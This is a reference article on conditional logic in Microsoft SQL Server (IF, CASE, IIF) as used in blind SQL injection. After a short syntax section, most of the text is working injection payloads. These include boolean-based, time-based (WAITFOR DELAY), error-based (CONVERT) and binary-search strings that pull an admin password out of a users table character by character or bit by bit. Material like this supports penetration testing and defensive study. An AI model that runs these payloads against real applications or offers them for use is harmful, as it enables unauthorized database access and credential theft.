Conditional statements are essential for blind SQL injection techniques and allow attackers to extract information by analyzing the application's response to different conditions. Microsoft SQL Server provides several methods for implementing conditional logic.
Basic Conditional Operators
IF Statement
The IF statement evaluates a condition and executes a statement block when true:
IF condition
statement_block
[ELSE
statement_block]
Example:
IF (SELECT COUNT(*) FROM users) > 10
SELECT 'Many users'
ELSE
SELECT 'Few users'
-- Simple inline syntax without subqueries
IF 1=1 SELECT 'true' ELSE SELECT 'false';
Note: The IF statement cannot be used inside a SELECT statement. Use CASE expressions instead for inline conditional logic within queries.
Equivalent using CASE:
-- Instead of: IF (SELECT COUNT(*) FROM users) > 10 SELECT 'Many' ELSE SELECT 'Few'
-- Use CASE inline within a SELECT:
SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 10 THEN 'Many users' ELSE 'Few users' END;
CASE Expression
The CASE expression provides more flexible conditional logic:
-- Simple CASE
CASE expression
WHEN value1 THEN result1
WHEN value2 THEN result2
[ELSE resultN]
END
-- Searched CASE
CASE
WHEN condition1 THEN result1
WHEN condition2 THEN result2
[ELSE resultN]
END
Example:
SELECT username,
CASE
WHEN role = 'admin' THEN 'Administrator'
WHEN role = 'moderator' THEN 'Moderator'
ELSE 'Regular User'
END AS user_role
FROM users
IIF Function (SQL Server 2012+)
The IIF function is a shorthand for simple CASE expressions:
IIF(condition, true_value, false_value)
Example:
SELECT username, IIF(role = 'admin', 'Administrator', 'Regular User') AS user_role
FROM users
Conditional Logic in SQL Injection
Boolean-Based Blind Injection
Conditional statements are the foundation of boolean-based blind injection. The payloads in this article target a string parameter (') and start with a value that matches a row (admin): after a value that matches nothing, the true and false conditions both return no rows and the condition may never be evaluated. For a numeric parameter, use an existing ID instead (1 AND ...):
-- Determine if 'admin' user exists
admin' AND (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0--
-- Extract data character by character
admin' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users WHERE username = 'admin'), 1, 1)) = 65--
Time-Based Blind Injection
Combining conditional logic with time delays. IF and WAITFOR are statements, not expressions, so these payloads are stacked queries: they start a second statement after the closed string (the ; is optional in T-SQL) and only work where the driver accepts batches (see Stacked Queries):
-- Delay execution if condition is true
' IF (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 WAITFOR DELAY '0:0:5'--
-- Extract password character by character
' IF ASCII(SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1)) = 65 WAITFOR DELAY '0:0:5'--
Advanced Conditional Techniques
Dynamic SQL with Conditions
DECLARE @sql nvarchar(1000)
IF (SELECT COUNT(*) FROM information_schema.tables WHERE table_name = 'users') > 0
SET @sql = 'SELECT * FROM users'
ELSE
SET @sql = 'SELECT ''No users table found'''
EXEC(@sql)
Nested Conditions
-- Nested CASE expressions
SELECT
CASE
WHEN (SELECT COUNT(*) FROM users) > 0 THEN
CASE
WHEN (SELECT COUNT(*) FROM users WHERE role = 'admin') > 0 THEN 'Admin users exist'
ELSE 'No admin users'
END
ELSE 'No users at all'
END
Variable Assignment with a WHERE Clause
-- SELECT assigns the variable only when the WHERE clause is true
DECLARE @result int = 0
SELECT @result = 1 WHERE (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0
SELECT @result
Error-Based Extraction with Conditions
Using conditional logic to force errors that contain data:
-- Using CASE to force a conversion error; the message contains 'Yes' or 'No'
admin' AND 1=CONVERT(int,
CASE
WHEN (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 THEN 'Yes'
ELSE 'No'
END
)--
Practical Blind SQL Injection Examples
Determining Table Existence
-- Check if a table exists
admin' AND (SELECT CASE WHEN EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name = 'users') THEN 1 ELSE 0 END) = 1--
Extracting Data Bit by Bit
-- Test one bit of the first character (& is bitwise AND)
admin' AND (SELECT ASCII(SUBSTRING(
(SELECT TOP 1 password FROM users WHERE username = 'admin'),
1, 1)) & 1) = 1--
admin' AND (SELECT ASCII(SUBSTRING(
(SELECT TOP 1 password FROM users WHERE username = 'admin'),
1, 1)) & 2) = 2--
-- And so on for each bit...
Conditional Logic with Binary Search
-- Binary search: halve the range with each request (< 128, < 64, ...)
admin' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users WHERE username = 'admin'), 1, 1)) < 128--
Handling NULL Values
NULL handling is important in conditional logic:
-- Using ISNULL for NULL handling
admin' AND ISNULL((SELECT TOP 1 username FROM users WHERE email LIKE '%admin%'), '') = 'admin'--
-- Using COALESCE to fall back through several expressions that may be NULL
admin' AND COALESCE((SELECT TOP 1 username FROM users WHERE email LIKE '%admin%'), (SELECT TOP 1 username FROM users WHERE role = 'admin'), '') = 'admin'--
Limitations and Considerations
- Complex conditions may hit query length limitations
- Execution time may increase with complex nested conditions
- Blind techniques require multiple queries and are much slower than direct extraction
- Error-based techniques may be blocked by error suppression
- Some conditional operations require specific permissions